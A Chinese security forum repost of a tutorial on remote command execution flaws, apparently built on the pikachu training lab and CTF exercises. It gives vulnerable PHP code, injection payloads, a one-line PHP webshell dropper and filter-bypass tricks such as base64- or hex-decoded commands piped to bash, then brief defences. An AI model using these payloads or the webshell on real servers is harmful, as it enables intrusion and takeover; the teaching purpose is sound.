安全矩阵

 找回密码
 立即注册
搜索
查看: 798|回复: 0

WEB常见漏洞之命令执行

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-10 15:28:29 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-10 15:29 编辑


WEB常见漏洞之命令执行
忘川丶 Hacking黑白红
2023-02-09 23:25 发表于安徽
转载自:WEB常见漏洞之命令执行

0x01 漏洞概述
RCE(remote command/code execute),远程命令执行/代码执行。
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x02 pikachu 靶场
逻辑运算符

windows
  1. "|": 管道符,前面命令标准输出,后面命令的标准输入
  2. "&": commandA & commandB 先运行命令A然后运行命令B
  3. "||": commandA || commandB 运行命令A,如果失败则运行命令B
  4. "&&": commandA && commandB 运行命令A,如果成功则运行命令B
复制代码

linux
  1. "|": 管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
  2. "&": commandA & commandB 先运行命令A然后运行命令B
  3. "||": commandA || commandB 运行命令A,如果失败则运行命令B
  4. "&&": commandA && commandB 运行命令A,如果成功则运行命令B
  5. ";": commandA && commandB执行完A执行B
复制代码

一、源码(ping)
  1. <?php
  2. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  3. if ($SELF_PAGE = "rce_ping.php"){
  4. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
  5. }
  6. $PIKA_ROOT_DIR =  "../../";
  7. include_once $PIKA_ROOT_DIR . 'header.php';
  8. header("Content-type:text/html; charset=utf-8");
  9. $result='';
  10. if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
  11. $ip=$_POST['ipaddress'];
  12. //     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
  13. if(stristr(php_uname('s'), 'windows')){
  14. //         var_dump(php_uname('s'));
  15. $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
  16. }else {
  17. $result.=shell_exec('ping -c 4 '.$ip);
  18. }
  19. }
  20. ?>
复制代码

一个文本框,输入ip地址可以进行ping操作,查看源码,发现队输入的”ip“地址没有进行过滤

利用管道符就可以实现任意代码执行
先输入 127.0.0.1 看回显(验证是否可以ping本地)

尝试直接利用逻辑运算符来进行简单利用(看是否有过滤)
payload:
  1. 127.0.0.1|dir
复制代码

回显

进一步进行漏洞利用
payload
  1. 127.0.0.1|ipconfig/all
复制代码


二、源码(exec "eval")
  1. <?php
  2. header("Content-type:text/html; charset=utf8");
  3. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  4. if ($SELF_PAGE = "rce_evel.php"){
  5. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}
  6. }
  7. $PIKA_ROOT_DIR =  "../../";
  8. include_once $PIKA_ROOT_DIR . 'header.php';
  9. $html='';
  10. if(isset($_POST['submit']) && $_POST['txt'] != null){
  11. if(@!eval($_POST['txt'])){
  12. $html.="<p>你喜欢的字符还挺奇怪的!</p>";
  13. }
  14. }
  15. ?>
复制代码

简单来说就是 eval() 函数可以执行PHP代码,然后PHP的system()函数可以执行系统命令,这样子远程代码执行就可以编程远程命令执行,输入 system("命令"),正常执行,可以访问到文件。
payload
  1. txt=phpinfo();
复制代码

回显

可以看到 phpinfo(); 函数执行了
进一步利用(上传后门木马)
payload
  1. fputs(fopen('shell.php','w'),'<?php @eval($_POST['hack']);?>');
复制代码

利用效果

WEB后台管理工具连接(中国蚁剑)

连接成功

0x03 绕过姿势
常见绕过姿势
绕过空格
  1. <  --  重定向,如cat<flag.php
  2. <>      --   重定向,如cat<>flag.php
  3. %09  --  需要php环境,如cat%09flag.php
  4. ${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
  5. $IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
复制代码

黑名单绕过
1. 拼接
  1. a=c;b=at;c=flag;$a$b $c
  2. a=c;b=at;c=heb;d=ic;ab{c}{d}
复制代码

编码(base64)
  1. echo MTIzCg==|base64 -d 其将会打印123
  2. echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
复制代码

编码(hex)
  1. echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
复制代码


单引号和双引号绕过
  1. ca''t flag 或ca""t flag
  2. ca''t te""st.php
复制代码

反斜杠绕过
  1. ca\t fl\ag
  2. cat te\st.php
复制代码

绕过例题举例
空格绕过、cat绕过
  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
  6. eval($c);
  7. }
  8. }else{
  9. highlight_file(__FILE__);
  10. }
复制代码

payload
  1. ?c=passthru("tac%09f*");
复制代码


单行多命令执行
  1. <?php
  2. if(isset($_GET['ip'])){
  3. $ip=$_GET['ip'];
  4. $a=shell_exec("ping -c 4 ".$ip);
  5. print_r($a);
  6. }
  7. else{
  8. highlight_file(__FILE__);
  9. }
复制代码

payload
  1. ?ip=x;cat flag.php
复制代码


截断绕过
  1. <?php
  2. if (isset($_GET['c'])) {
  3. $c = $_GET['c'];
  4. system($c . " >/dev/null 2>&1");
  5. } else {
  6. highlight_file(__FILE__);
  7. }
  8. ?>
复制代码

payload
  1. ?c=cat f*%0a
复制代码


0x04 漏洞防御
尽量不要执行外部命令。使用自定义函数或者函数库来代替外部命令的功能。使用escapeshe||arg函数来处理命令参数。safe_mode_exec_dir指定可执行文件的路径。
(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内.

本文作者:忘川丶, 转载请注明来自FreeBuf.COM



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:44 , Processed in 0.012844 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表